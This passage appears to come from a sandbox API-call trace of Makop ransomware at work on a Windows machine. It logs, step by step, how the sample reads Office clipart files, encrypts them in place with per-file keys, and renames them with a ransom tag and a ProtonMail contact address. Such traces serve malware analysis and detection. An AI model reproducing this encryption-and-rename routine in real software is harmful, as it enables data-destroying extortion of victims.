nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4100, lpOverlapped=0x0) returned 1 [0124.924] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.924] SetEndOfFile (hFile=0xf0) returned 1 [0124.932] GetProcessHeap () returned 0x48a0000 [0124.932] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.932] GetProcessHeap () returned 0x48a0000 [0124.932] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.932] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.933] CloseHandle (hObject=0xf0) returned 1 [0124.934] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0124.934] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0124.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.934] GetProcessHeap () returned 0x48a0000 [0124.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.934] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.939] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.939] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.939] GetProcessHeap () returned 0x48a0000 [0124.939] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.939] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.939] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.939] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.939] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.939] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.939] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.940] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.940] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.940] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.940] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.940] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.940] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3094, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3094, lpOverlapped=0x0) returned 1 [0124.942] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30a0, dwBufLen=0x30a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30a0) returned 1 [0124.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30a0, lpOverlapped=0x0) returned 1 [0124.942] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.942] SetEndOfFile (hFile=0xf0) returned 1 [0124.949] GetProcessHeap () returned 0x48a0000 [0124.949] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.949] GetProcessHeap () returned 0x48a0000 [0124.949] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.950] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.951] CloseHandle (hObject=0xf0) returned 1 [0124.951] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0124.951] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0124.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.952] GetProcessHeap () returned 0x48a0000 [0124.952] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.952] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.958] GetProcessHeap () returned 0x48a0000 [0124.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.958] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.958] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.959] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.960] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1748, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1748, lpOverlapped=0x0) returned 1 [0124.965] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1750, dwBufLen=0x1750 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1750) returned 1 [0124.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1750, lpOverlapped=0x0) returned 1 [0124.965] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.966] SetEndOfFile (hFile=0xf0) returned 1 [0124.972] GetProcessHeap () returned 0x48a0000 [0124.973] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.973] GetProcessHeap () returned 0x48a0000 [0124.973] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.973] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.974] CloseHandle (hObject=0xf0) returned 1 [0124.974] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0124.974] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0124.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.976] GetProcessHeap () returned 0x48a0000 [0124.976] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.977] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.981] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.981] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.981] GetProcessHeap () returned 0x48a0000 [0124.981] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.982] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.982] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.982] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.982] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.982] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.982] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.982] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.983] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.983] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2584, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2584, lpOverlapped=0x0) returned 1 [0124.985] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2590, dwBufLen=0x2590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2590) returned 1 [0124.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2590, lpOverlapped=0x0) returned 1 [0124.985] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.986] SetEndOfFile (hFile=0xf0) returned 1 [0124.992] GetProcessHeap () returned 0x48a0000 [0124.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.992] GetProcessHeap () returned 0x48a0000 [0124.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.992] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.994] CloseHandle (hObject=0xf0) returned 1 [0124.994] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0124.994] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0124.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.995] GetProcessHeap () returned 0x48a0000 [0124.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.995] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.995] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.995] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.000] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.000] GetProcessHeap () returned 0x48a0000 [0125.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.000] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.000] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.000] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.001] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.001] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, 